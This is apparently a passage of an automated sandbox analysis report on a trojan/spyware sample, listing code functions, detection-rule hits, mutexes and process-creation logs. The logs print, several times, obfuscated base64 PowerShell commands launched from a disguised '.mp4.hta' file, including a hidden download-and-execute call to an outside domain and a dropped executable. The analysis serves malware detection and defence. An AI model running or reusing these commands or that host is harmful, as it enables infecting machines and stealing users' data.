Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00409540	19_2_00409540
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0043F540	19_2_0043F540
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00441540	19_2_00441540
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00418577	19_2_00418577
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0042E520	19_2_0042E520
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0040ADC0	19_2_0040ADC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_004415D0	19_2_004415D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00428FC7	19_2_00428FC7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_004275AC	19_2_004275AC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00416DBD	19_2_00416DBD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00441660	19_2_00441660
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00429E70	19_2_00429E70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00425600	19_2_00425600
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00442600	19_2_00442600
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0042860F	19_2_0042860F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00426BC6	19_2_00426BC6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00417ED0	19_2_00417ED0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_004306D0	19_2_004306D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00404E80	19_2_00404E80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00419690	19_2_00419690
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0043A690	19_2_0043A690
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0042A694	19_2_0042A694
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0040CF40	19_2_0040CF40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00441F50	19_2_00441F50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00438F63	19_2_00438F63
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00402F70	19_2_00402F70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00425771	19_2_00425771
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00407700	19_2_00407700
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00423709	19_2_00423709
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0043F712	19_2_0043F712
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0042EF3D	19_2_0042EF3D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00428FC7	19_2_00428FC7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_004337F1	19_2_004337F1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00421790	19_2_00421790

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: String function: 00408230 appears 48 times
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: String function: 00414B80 appears 98 times

Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe.19.dr

Static PE information: No import functions for PE file found

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: Process Memory Space: powershell.exe PID: 7324, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7700, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.evad.winHTA@18/12@3/3

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 19_2_0043B120 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

19_2_0043B120

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7332:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7708:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7484:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4d3eqhv2.agy.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\web55.mp4.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gS0ZiQygkS3lHWXJVVUQpew0KKCgkS3lHWXJVVUQgLXNwbGl0ICcoPzw9XEcuLiknfCV7JEVKdXAuU3ViU3RyaW5nKDMsMTAwKVskX119KSAgLWpvaW4gJycgLXJlcGxhY2UgIi4kIil9OyRFSnVwID0naWV4bXZ7dU4xaUtGZSJBT0V1Vnk1Im9ZezZQbFBhLzphYjRJWi5PYjJxLTdXO0NkSFxneFF3L016SkFqcnQzQDZCfUROJX5UblUofTBRc3NfaCVoSWZrKWM5WEw4NCNAUnlTKm9HcDY1MDk1ODM0NDEwOTM2NDMyNDA2MDk2OTU4Jw==')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWR3QmxBR0lBTGdCckFHd0FhUUJ3QUdRQWVRQjNBRzhBZWdCcEFIa0FMZ0J6QUdnQWJ3QndBQzhBYXdCMUFHNEFiZ0JoQUhJQUxnQndBRzRBWndBbkFDa0FLUUJnQUNJQUlnQWdBQzBBVndCcEFHNEFaQUJ2QUhjQVV3QjBBSGtBYkFCbEFDQUFTQUJwQUdRQVpBQmxBRzRBOy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBLeUdZclVVRCgpe2Z1bmN0aW9uIGV6cENNZGhHUSgkckhQZWIpe2lmKCEoVGVzdC1QYXRoIC1QYXRoICRUaEJFWHBpVk8pKXtjdXJsIChLRmJDICRySFBlYikgLW8gJFRoQkVYcGlWT319fUt5R1lyVVVEOw==')))
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe "C:\Users\user~1\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gS0ZiQygkS3lHWXJVVUQpew0KKCgkS3lHWXJVVUQgLXNwbGl0ICcoPzw9XEcuLiknfCV7JEVKdXAuU3ViU3RyaW5nKDMsMTAwKVskX119KSAgLWpvaW4gJycgLXJlcGxhY2UgIi4kIil9OyRFSnVwID0naWV4bXZ7dU4xaUtGZSJBT0V1Vnk1Im9ZezZQbFBhLzphYjRJWi5PYjJxLTdXO0NkSFxneFF3L016SkFqcnQzQDZCfUROJX5UblUofTBRc3NfaCVoSWZrKWM5WEw4NCNAUnlTKm9HcDY1MDk1ODM0NDEwOTM2NDMyNDA2MDk2OTU4Jw==')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWR3QmxBR0lBTGdCckFHd0FhUUJ3QUdRQWVRQjNBRzhBZWdCcEFIa0FMZ0J6QUdnQWJ3QndBQzhBYXdCMUFHNEFiZ0JoQUhJQUxnQndBRzRBWndBbkFDa0FLUUJnQUNJQUlnQWdBQzBBVndCcEFHNEFaQUJ2QUhjQVV3QjBBSGtBYkFCbEFDQUFTQUJwQUdRQVpBQmxBRzRBOy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBLeUdZclVVRCgpe2Z1bmN0aW9uIGV6cENNZGhHUSgkckhQZWIpe2lmKCEoVGVzdC1QYXRoIC1QYXRoICRUaEJFWHBpVk8pKXtjdXJsIChLRmJDICRySFBlYikgLW8gJFRoQkVYcGlWT319fUt5R1lyVVVEOw==')))	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe "C:\Users\user~1\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
